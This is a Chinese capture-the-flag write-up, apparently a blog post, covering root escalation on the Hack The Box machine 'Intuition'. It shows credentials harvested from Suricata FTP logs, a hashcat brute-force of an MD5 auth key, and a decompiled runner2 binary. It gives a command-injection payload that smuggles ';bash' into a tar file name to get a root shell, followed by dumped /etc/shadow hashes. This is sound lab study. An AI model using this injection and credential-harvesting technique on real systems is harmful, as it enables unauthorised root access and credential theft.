-rw-r--r--  1 root root       1033 Oct  8  2023 fast.log.6.gz                                                                                                                               -rw-r--r--  1 root root       1485 Sep 28  2023 fast.log.7.gz
-rw-r--r--  1 root root    8417814 May  3 06:45 stats.log
-rw-r--r--  1 root root          0 Apr 29 18:27 stats.log.1
-rw-r--r--  1 root root    4293890 Oct 26  2023 stats.log.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 stats.log.1-2024042213.backup
-rw-r--r--  1 root root          0 Apr 22 13:26 stats.log.1-2024042918.backup
-rw-r--r--  1 root root      73561 Oct 28  2023 stats.log.4.gz
-rw-r--r--  1 root root     376680 Oct 14  2023 stats.log.6.gz
-rw-r--r--  1 root root      67778 Sep 29  2023 stats.log.7.gz
-rw-r--r--  1 root root      26500 May  3 06:21 suricata.log
-rw-r--r--  1 root root      26145 Apr 29 18:27 suricata.log.1
-rw-r--r--  1 root root       3893 Oct 26  2023 suricata.log.1-2024040114.backup
-rw-r--r--  1 root root      68355 Apr  8 14:19 suricata.log.1-2024042213.backup
-rw-r--r--  1 root root      95100 Apr 22 13:26 suricata.log.1-2024042918.backup                                                                                                            -rw-r--r--  1 root root        990 Apr  1 14:50 suricata.log.4.gz
-rw-r--r--  1 root root       1412 Oct 19  2023 suricata.log.6.gz
-rw-r--r--  1 root root       5076 Oct  8  2023 suricata.log.7.gz

这个目录下有很多.gz 文件,全部解压太麻烦,直接使用zgrep可以对gz文件进行搜索,不需要解压

dev_acc@intuition:/var/log/suricata$ zgrep -i "lopez" * --no-filename |jq '.'
{
  "timestamp": "2024-05-03T06:58:03.365759+0000",
  "flow_id": 1965813157905271,
  "in_iface": "eth0",
  "event_type": "http",
  "src_ip": "10.10.14.35",
  "src_port": 46580,
  "dest_ip": "10.10.11.15",
  "dest_port": 80,
  "proto": "TCP",
  "tx_id": 35,
  "community_id": "1:4ohTg61tIJYIXsMl+cNNy9C8fvs=",
  "http": {
    "hostname": "paolosergionavarrolopez.comprezzor.htb",
    "url": "/",
    "http_user_agent": "Fuzz Faster U Fool v2.1.0-dev",
    "http_content_type": "text/html",
    "http_method": "GET",
    "protocol": "HTTP/1.1",
    "status": 301,
    "redirect": "http://comprezzor.htb/",
    "length": 178
  }
}
{
  "timestamp": "2024-05-03T06:58:03.367352+0000",
  "flow_id": 1965813157905271,
  "in_iface": "eth0",
  "event_type": "fileinfo",
  "src_ip": "10.10.11.15",
  "src_port": 80,
  "dest_ip": "10.10.14.35",
  "dest_port": 46580,
  "proto": "TCP",
  "http": {
    "hostname": "paolosergionavarrolopez.comprezzor.htb",
    "url": "/",
    "http_user_agent": "Fuzz Faster U Fool v2.1.0-dev",
    "http_content_type": "text/html",
    "http_method": "GET",
    "protocol": "HTTP/1.1",
    "status": 301,
    "redirect": "http://comprezzor.htb/",
    "length": 178
  },
  "app_proto": "http",
  "fileinfo": {
    "filename": "/",
    "sid": [],
    "gaps": false,
    "state": "CLOSED",
    "stored": false,
    "size": 178,
    "tx_id": 35
  }
}
{
  "timestamp": "2024-05-03T06:58:32.985935+0000",
  "flow_id": 14484960212575,
  "in_iface": "eth0",
  "event_type": "http",
  "src_ip": "10.10.14.35",
  "src_port": 56246,
  "dest_ip": "10.10.11.15",
  "dest_port": 80,
  "proto": "TCP",
  "tx_id": 69,
  "community_id": "1:BpC7c/pPMXbPzWCM+a+vgTSNLcc=",
  "http": {
    "hostname": "comprezzor.htb",
    "url": "/lopez",
    "http_user_agent": "feroxbuster/2.7.1",
    "http_content_type": "text/html",
    "http_method": "GET",
    "protocol": "HTTP/1.1",
    "status": 404,
    "length": 207
  }
}
{
  "timestamp": "2024-05-03T06:58:32.985943+0000",
  "flow_id": 14484960212575,
  "in_iface": "eth0",
  "event_type": "fileinfo",
  "src_ip": "10.10.11.15",
  "src_port": 80,
  "dest_ip": "10.10.14.35",
  "dest_port": 56246,
  "proto": "TCP",
  "http": {
    "hostname": "comprezzor.htb",
    "url": "/lopez",
    "http_user_agent": "feroxbuster/2.7.1",
    "http_content_type": "text/html",
    "http_method": "GET",
    "protocol": "HTTP/1.1",
    "status": 404,
    "length": 207
  },
  "app_proto": "http",
  "fileinfo": {
    "filename": "/lopez",
    "sid": [],
    "gaps": false,
    "state": "CLOSED",
    "stored": false,
    "size": 207,
    "tx_id": 69
  }
}
{
  "timestamp": "2023-09-28T17:43:36.099184+0000",
  "flow_id": 1988487100549589,
  "in_iface": "ens33",
  "event_type": "ftp",
  "src_ip": "192.168.227.229",
  "src_port": 37522,
  "dest_ip": "192.168.227.13",
  "dest_port": 21,
  "proto": "TCP",
  "tx_id": 1,
  "community_id": "1:SLaZvboBWDjwD/SXu/SOOcdHzV8=",
  "ftp": {
    "command": "USER",
    "command_data": "lopez",
    "completion_code": [
      "331"
    ],
    "reply": [
      "Username ok, send password."
    ],
    "reply_received": "yes"
  }
}
{
  "timestamp": "2023-09-28T17:43:52.999165+0000",
  "flow_id": 1988487100549589,
  "in_iface": "ens33",
  "event_type": "ftp",
  "src_ip": "192.168.227.229",
  "src_port": 37522,
  "dest_ip": "192.168.227.13",
  "dest_port": 21,
  "proto": "TCP",
  "tx_id": 2,
  "community_id": "1:SLaZvboBWDjwD/SXu/SOOcdHzV8=",
  "ftp": {
    "command": "PASS",
    "command_data": "Lopezzz1992%123",
    "completion_code": [
      "530"
    ],
    "reply": [
      "Authentication failed."
    ],
    "reply_received": "yes"
  }
}
{
  "timestamp": "2023-09-28T17:44:32.133372+0000",
  "flow_id": 1218304978677234,
  "in_iface": "ens33",
  "event_type": "ftp",
  "src_ip": "192.168.227.229",
  "src_port": 45760,
  "dest_ip": "192.168.227.13",
  "dest_port": 21,
  "proto": "TCP",
  "tx_id": 1,
  "community_id": "1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=",
  "ftp": {
    "command": "USER",
    "command_data": "lopez",
    "completion_code": [
      "331"
    ],
    "reply": [
      "Username ok, send password."
    ],
    "reply_received": "yes"
  }
}
{
  "timestamp": "2023-09-28T17:44:48.188361+0000",
  "flow_id": 1218304978677234,
  "in_iface": "ens33",
  "event_type": "ftp",
  "src_ip": "192.168.227.229",
  "src_port": 45760,
  "dest_ip": "192.168.227.13",
  "dest_port": 21,
  "proto": "TCP",
  "tx_id": 2,
  "community_id": "1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=",
  "ftp": {
    "command": "PASS",
    "command_data": "Lopezz1992%123",
    "completion_code": [
      "230"
    ],
    "reply": [
      "Login successful."
    ],
    "reply_received": "yes"
  }
}
dev_acc@intuition:/var/log/suricata$

在lopze 有关的流量中,ftp登录时,

使用凭证lopez:Lopezzz1992%123登录失败(3个z)

使用凭证lopez:Lopezz1992%123登录成功(2个z)

dev_acc@intuition:/var/log/suricata$ su lopez
Password:Lopezz1992%123
lopez@intuition:/var/log/suricata$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)

lopez@intuition:/opt/runner2$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User lopez may run the following commands on intuition:
    (ALL : ALL) /opt/runner2/runner2

切换账号成功,我们可以以root的权限执行runner2

sys-adm

lopez@intuition:/opt/playbooks$ find / -group sys-adm 2>/dev/null
/opt/runner2
/opt/playbooks

img

显示缺少key

我们之前ftp里面找到了runner的备份文件我们再看看

Runner1-backup

run-test.sh

#!/bin/bash

# List playbooks
./runner1 list

# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"

# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"

没有给完全UHI75GHI****,还差4位,可以尝试爆破

runner1.c

// Version : 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>

#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"

int check_auth(const char* auth_key) {
    unsigned char digest[MD5_DIGEST_LENGTH];
    MD5((const unsigned char*)auth_key, strlen(auth_key), digest);

    char md5_str[33];
    for (int i = 0; i < 16; i++) {
        sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
    }

    if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
        return 1;
    } else {
        return 0;
    }
}

void listPlaybooks() {
    DIR *dir = opendir(PLAYBOOK_LOCATION);
    if (dir == NULL) {
        perror("Failed to open the playbook directory");
        return;
    }

    struct dirent *entry;
    int playbookNumber = 1;

    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
            printf("%d: %s\n", playbookNumber, entry->d_name);
            playbookNumber++;
        }
    }

    closedir(dir);
}

void runPlaybook(const char *playbookName) {
    char run_command[1024];
    snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
    system(run_command);
}

void installRole(const char *roleURL) {
    char install_command[1024];
    snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
    system(install_command);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
        return 1;
    }

    int auth_required = 0;
    char auth_key[128];

    for (int i = 2; i < argc; i++) {
        if (strcmp(argv[i], "-a") == 0) {
            if (i + 1 < argc) {
                strncpy(auth_key, argv[i + 1], sizeof(auth_key));
                auth_required = 1;
                break;
            } else {
                printf("Error: -a option requires an auth key.\n");
                return 1;
            }
        }
    }

    if (!check_auth(auth_key)) {
        printf("Error: Authentication failed.\n");
        return 1;
    }

    if (strcmp(argv[1], "list") == 0) {
        listPlaybooks();
    } else if (strcmp(argv[1], "run") == 0) {
        int playbookNumber = atoi(argv[2]);
        if (playbookNumber > 0) {
            DIR *dir = opendir(PLAYBOOK_LOCATION);
            if (dir == NULL) {
                perror("Failed to open the playbook directory");
                return 1;
            }

            struct dirent *entry;
            int currentPlaybookNumber = 1;
            char *playbookName = NULL;

            while ((entry = readdir(dir)) != NULL) {
                if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
                    if (currentPlaybookNumber == playbookNumber) {
                        playbookName = entry->d_name;
                        break;
                    }
                    currentPlaybookNumber++;
                }
            }

            closedir(dir);

            if (playbookName != NULL) {
                runPlaybook(playbookName);
            } else {
                printf("Invalid playbook number.\n");
            }
        } else {
            printf("Invalid playbook number.\n");
        }
    } else if (strcmp(argv[1], "install") == 0) {
        installRole(argv[2]);
    } else {
        printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
        return 1;
    }

    return 0;
}

可以看到对比的逻辑就是把传入的auth_key 进行md5运算和0feda17076d793c2ef2870d7427ad4ed比较判断是否一致

hashcat-m 3

➜  crack cat target_md5_hash
0feda17076d793c2ef2870d7427ad4ed
➜  crack hashcat -m 0 -a 3 target_md5_hash "UHI75GHI?a?a?a?a" -i --increment-min 12 --show
0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP

Reverse

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbp@0
  __int64 fd; // rax@3
  __int64 v6; // rax@5
  __int64 v7; // rax@7
  __int64 v8; // rax@9
  __int64 v9; // rax@11
  __int64 v10; // rdi@11
  __int64 v11; // rax@14
  __int64 v12; // rax@14
  __int64 v13; // rax@16
  __int64 v14; // rax@20
  __int64 v15; // rax@24
  __int64 v16; // rax@28
  __int64 v17; // rax@34
  __int64 auth_code_key; // rax@34
  __int64 auth_code_value; // rax@36
  __int64 *role_file_tar_valiue; // rax@40
  signed int v21; // [sp-80h] [bp-80h]@22
  int v22; // [sp-7Ch] [bp-7Ch]@20
  signed __int64 v23; // [sp-78h] [bp-78h]@22
  __int64 v24; // [sp-68h] [bp-68h]@3
  __int64 jsonFd; // [sp-60h] [bp-60h]@5
  __int64 runObject; // [sp-58h] [bp-58h]@7
  __int64 action; // [sp-48h] [bp-48h]@11
  __int64 role_file_tar_key; // [sp-40h] [bp-40h]@34
  __int64 v29; // [sp-28h] [bp-28h]@14
  __int64 v30; // [sp-18h] [bp-18h]@20
  __int64 v31; // [sp-10h] [bp-10h]@28
  __int64 v32; // [sp-8h] [bp-8h]@1

  __asm { rep nop edx }
  v32 = v3;
  if ( argc != 2 )
  {
    sub_1220("Usage: %s <json_file>\n", *argv, envp);
    return 1;
  }
  LODWORD(fd) = fopen_0(argv[1], "r");
  v24 = fd;
  if ( !fd )
  {
    sub_1250("Failed to open the JSON file");
    return 1;
  }
  LODWORD(v6) = json_loadf_0(fd, 2LL, 0LL);
  jsonFd = v6;
  fclose_1(v24);
  if ( !jsonFd )
  {
    fwrite_0("Error parsing JSON data.\n", 1LL, 25LL, stderr);
    return 1;
  }
  LODWORD(v7) = json_object_get_ptr_0(jsonFd, "run");
  runObject = v7;
  if ( !v7 || *(_DWORD *)v7 )
  {
    fwrite_0("Run key missing or invalid.\n", 1LL, 28LL, stderr);
  }
  else
  {
    LODWORD(v8) = json_object_get_ptr_0(v7, "action");
    if ( v8 && *(_DWORD *)v8 == 2 )
    {
      LODWORD(v9) = json_string_value_0(v8);
      action = v9;
      v10 = v9;
      if ( !strcmp_0(v9, "list") )
      {
        listPlaybooks(v10, "list");
      }
      else if ( !strcmp_0(action, "run") )
      {
        LODWORD(v11) = json_object_get_ptr_0(runObject, "num");
        v29 = v11;
        LODWORD(v12) = json_object_get_ptr_0(jsonFd, "auth_code");
        if ( !v12 || *(_DWORD *)v12 != 2 || (LODWORD(v13) = json_string_value_0(v12), !check_auth((__int64)&v32, v13)) )
        {
          fwrite_0("Authentication key missing or invalid for 'run' action.\n", 1LL, 56LL, stderr);
          json_decref(jsonFd);
          return 1;
        }
        if ( v29 && *(_DWORD *)v29 == 3 )
        {
          v22 = json_integer_value_0(v29);
          LODWORD(v14) = opendir_0("/opt/playbooks/");
          v30 = v14;
          if ( !v14 )
          {
            sub_1250("Failed to open the playbook directory");
            return 1;
          }
          v21 = 1;
          v23 = 0LL;
          while ( 1 )
          {
            LODWORD(v16) = sub_1320(v30);
            v31 = v16;
            if ( !v16 )
              break;
            if ( *(_BYTE *)(v16 + 18) == 8 )
            {
              LODWORD(v15) = sub_1290(v16 + 19, ".yml");
              if ( v15 )
              {
                if ( v21 == v22 )
                {
                  v23 = v31 + 19;
                  break;
                }
                ++v21;
              }
            }
          }
          closedir_0(v30);
          if ( v23 )
            runPlaybook((__int64)&v32);
          else
            fwrite_0("Invalid playbook number.\n", 1LL, 25LL, stderr);
        }
        else
        {
          fwrite_0("Invalid 'num' value for 'run' action.\n", 1LL, 38LL, stderr);
        }
      }
      else if ( !strcmp_0(action, "install") )
      {
        LODWORD(v17) = json_object_get_ptr_0(runObject, "role_file");
        role_file_tar_key = v17;
        LODWORD(auth_code_key) = json_object_get_ptr_0(jsonFd, "auth_code");
        if ( !auth_code_key
          || *(_DWORD *)auth_code_key != 2
          || (LODWORD(auth_code_value) = json_string_value_0(auth_code_key), !check_auth((__int64)&v32, auth_code_value)) )// check auth code ,the key is UHI75GHINKOP
        {
          fwrite_0("Authentication key missing or invalid for 'install' action.\n", 1LL, 60LL, stderr);
          json_decref(jsonFd);
          return 1;
        }
        if ( role_file_tar_key && *(_DWORD *)role_file_tar_key == 2 )
        {
          LODWORD(role_file_tar_valiue) = json_string_value_0(role_file_tar_key);
          installRole((__int64)&v32, role_file_tar_valiue);
        }
        else
        {
          fwrite_0("Role File missing or invalid for 'install' action.\n", 1LL, 51LL, stderr);
        }
      }
      else
      {
        fwrite_0("Invalid 'action' value.\n", 1LL, 24LL, stderr);
      }
    }
    else
    {
      fwrite_0("Action key missing or invalid.\n", 1LL, 31LL, stderr);
    }
  }
  json_decref(jsonFd);
  return 0;
}

installRole()

int __usercall installRole@<eax>(__int64 a1@<rbp>, __int64 *tar_file_path@<rdi>)
{
  signed __int64 v2; // rsi@2
  __int64 *v3; // rdi@2
  __int64 v4; // rdx@2
  __int64 v5; // rax@4
  __int64 cmd; // [sp-418h] [bp-418h]@3
  __int64 v8; // [sp-10h] [bp-10h]@1
  __int64 v9; // [sp-8h] [bp-8h]@1

  __asm { rep nop edx }
  v9 = a1;
  v8 = *MK_FP(__FS__, 40LL);
  if ( isTarArchive((__int64)&v9, tar_file_path) )
  {
    v2 = 1024LL;
    snprintf_0(&cmd, 1024LL, "%s install %s", "/usr/bin/ansible-galaxy");
    v3 = &cmd;
    system_0(&cmd);
  }
  else
  {
    v2 = 1LL;
    v3 = (__int64 *)"Invalid tar archive.\n";
    fwrite_0("Invalid tar archive.\n", 1LL, 21LL, stderr);
  }
  v5 = v8 - *MK_FP(__FS__, 40LL);
  if ( v8 != *MK_FP(__FS__, 40LL) )
    LODWORD(v5) = _stack_chk_fail_0(v3, v2, v4);
  return v5;
}

简单分析一下 installRole这个函数需要传入一个tar文件的路径,并且会检测这个tar文件的内容

走到action = install这个判断下我们需要这样一个json数据

{
  "run": {
    "action": "install",
    "role_file": "tar_file.path"
  },
  "auth_code": "UHI75GHINKOP"
}

如果我们在role_file的位置使用; 闭合tar_file.path,然后后面加上我们想要执行的命令就可以命令注入

所以我们只需要传入下面这样的json文件

root@intuition:/home/lopez# cat data.json
{
  "run": {
          "action":"install",
    "role_file": "/home/lopez/data.tar;bash"
  },
  "auth_code": "UHI75GHINKOP"
}

并且把压缩包的名字也修改为data.tar;bash

然后就会在检查的tar文件合法的时候成功绕过

并且会把这个文件名最后拼接最终在system函数后面

img

lopez@intuition:~$ cat data.json
{
  "run": {
          "action":"install",
    "role_file": "/tmp/1.tar;bash"
  },
  "auth_code": "UHI75GHINKOP"
}
lopez@intuition:~$ vim data.json
lopez@intuition:~$ cat data.json
{
  "run": {
          "action":"install",
    "role_file": "/home/lopez/data.tar;bash"
  },
  "auth_code": "UHI75GHINKOP"
}
lopez@intuition:~$ tar -cvf data.tar data.json
data.json
lopez@intuition:~$ pwd
/home/lopez
lopez@intuition:~$ sudo /opt/runner2/runner2 data.json
Invalid tar archive.
lopez@intuition:~$ ls
content  data.json  data.tar
lopez@intuition:~$ mv data.tar data.tar;bash
mv: 'data.tar' and 'data.tar' are the same file
lopez@intuition:~$ ls ^C
lopez@intuition:~$
lopez@intuition:~$ ^C
lopez@intuition:~$ exit
exit
lopez@intuition:~$ mv data.tar 'data.tar;bash'
lopez@intuition:~$ ls -al
total 48
drwxr-x--- 5 lopez lopez  4096 May  3 08:20  .
drwxr-xr-x 5 root  root   4096 Apr 25 11:49  ..
lrwxrwxrwx 1 root  root      9 Apr  9 18:26  .bash_history -> /dev/null
-rw-r--r-- 1 lopez lopez  3771 Oct 13  2023  .bashrc
drwx------ 2 lopez lopez  4096 May  3 07:36  .cache
-rw-rw-r-- 1 lopez lopez    64 May  3 07:47  content
-rw-rw-r-- 1 lopez lopez   118 May  3 08:19  data.json
-rw-rw-r-- 1 lopez lopez 10240 May  3 08:19 'data.tar;bash'
drwxrwxr-x 3 lopez lopez  4096 May  3 07:46  .local
-rw-r--r-- 1 lopez lopez   807 Oct 13  2023  .profile
drwx------ 2 lopez lopez  4096 Apr 10 08:21  .ssh
lopez@intuition:~$ sudo /opt/runner2/runner2 data.json
Starting galaxy role install process
id

id

[WARNING]: - /home/lopez/data.tar was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error
[Errno -3] Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/home/lopez# id
uid=0(root) gid=0(root) groups=0(root)
root@intuition:/home/lopez#
root@intuition:/home/lopez# id
uid=0(root) gid=0(root) groups=0(root)
root@intuition:/home/lopez#
root@intuition:/home/lopez#
root@intuition:/home/lopez# whoami
root
root@intuition:/home/lopez# cat /root/root.txt

Shadow

root@intuition:/home/lopez# cat /etc/shadow | grep \$y
root:$y$j9T$uiniFHjBFerbO..eAx7bI1$A6O8Lt6NG3BS33humdTtnyFe3uTcM3Gew1gldp0S2r4:19656:0:99999:7:::
adam:$y$j9T$RxWDBIbgNBK.1OPH6yR6q0$SkHyQ3QsKfTQ/igOVFsA5pCyosQdsfOkdN2uFL9rJA9:19656:0:99999:7:::
dev_acc:$y$j9T$/RpnqRuqjGaJzDquTAhiG.$CxkGOcqmc2sPEdiTNHySlgqiQwJxr5r6IKNOtuKXjD9:19838:0:99999:7:::
lopez:$y$j9T$iuv2R99Ps/.rTY6fkdya/1$gk87UA.ESt6ObAMJVEkH9oxsy3Qui570dUn4NloxqEC:19643:0:99999:7:::

In Summary

user

enum vhost (dashboard、auth、report) → xss 1 get webDav cookie → xss2 get admin cookie→ generate pdf → ssrf (file protocol ,using %20 bypass white list) → read file → dashboard.py → ftp credential → ssrf (ftp protocol) → welcome_note.txt、private-key → dev_acc

root

find user.db in web directory → adam ftp credential → backup for runner → find log file (suricata ) → find net flow about user’s information (adma 、lopez)→ ftp net flow (lopez login successful) →sudo -l runner2 → anaylysic runner2 (reverse and review the backup file ) → crack auth_key →command inject → root

  • 14
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Som3B0dy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值